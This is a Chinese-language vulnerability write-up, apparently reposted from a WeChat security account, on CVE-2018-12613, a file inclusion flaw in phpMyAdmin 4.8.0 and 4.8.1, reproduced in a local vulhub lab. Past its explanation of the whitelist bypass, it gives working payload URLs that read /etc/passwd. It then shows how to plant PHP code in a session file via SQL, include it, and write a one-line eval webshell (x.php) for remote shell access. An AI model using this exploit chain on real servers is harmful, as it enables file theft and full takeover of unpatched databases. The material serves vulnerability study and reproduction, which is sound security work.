前言
phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
漏洞影响范围 phpmyadmin 4.8.0 & 4.8.1
漏洞原理
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并且执行。
-
文件包含相关函数,代码审计时可关注如下几个函数
require() # 函数出现错误的时候,会直接报错并退出程序的执行require_once() # 只包含一次include() # 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行include_once() # 只包含一次
-
在存在漏洞的phpmyadmin的源代码的index.php中, 就出现了include函数
-
根据上图,我们需要绕过前面几行条件的限制,条件如下
-
Core::checkPageValidity($_REQUEST['target']),我们查看Core类checkPageValidity方法源代码
-
白名单部分如下图所示
-
所以利用二次编码“%253f”可以绕过checkPageValidity()的检查!
-
找到target_blacklist定义如下
-
target参数不能为空
-
target参数必须为字符串
-
target 参数不能以index开头
-
target 参数不能出现在 $target_blacklist 内
-
参数必须通过白名单验证
-
构造payload
由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码
-
checkPageValidity二次解码后,这个符合白名单验证,问号之前的文件在白名单之内
/index.php?target=db_sql.php?/../../../../../../../../etc/passwd
-
绕过验证后,index.php一次解码后,如下所示,可以实现任意路径的文件访问
/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
-
最终payload
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
漏洞验证
复现环境:/vulhub/phpmyadmin/CVE-2018-12613
# 切换到目标文件夹内,写你自己的路径cd /opt/vulhub/phpmyadmin/CVE-2018-12613 # 拉取并启动容器docker compose up -d# 浏览器访问http://localhost:8080# 漏洞验证访问,/etc/passwd被读取,说明文件包含漏洞存在http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
漏洞利用
现在我们已经可以读取站点本地文件,那我们如何利用本地文件包含漏洞获取权限呢,?我们能写入一个webshell吗?咋写呢?
maybe可以试试session, php session文件可以存储会话的一些信息,我们来试试
-
执行 SQL语句 `SELECT '<?php phpinfo(); ?>'
-
根据session id查看session文件, cat /tmp/sess_06f6516222139397dee258dd594e5018
-
包含session文件
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_06f6516222139397dee258dd594e5018
成功包含session文件并执行了phpinfo
-
既然可以通过session文件执行代码,那我们是否可以试试写入一句话木马
# 通过sql查询写入一句话木马到session文件select "<?php @eval($_GET['s']);?>"# 根据session id访问session文件,测试参数 s 是否能够成功执行命令http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c?s=phpinfo();
成功执行phpinfo();
-
写webshell
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c&s=fputs(fopen(%27x.php%27,%27w%27),%27%3C?php%20@eval($_POST[pass])?%3E%27);
查看web目录下是否成功写入, cat /var/www/html/x.php, 已成功写入一句话木马
蚁剑连接一句话木马
成功获取shell
原文始发于微信公众号(不懂安全):CVE-2018-12613 文件包含漏洞详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论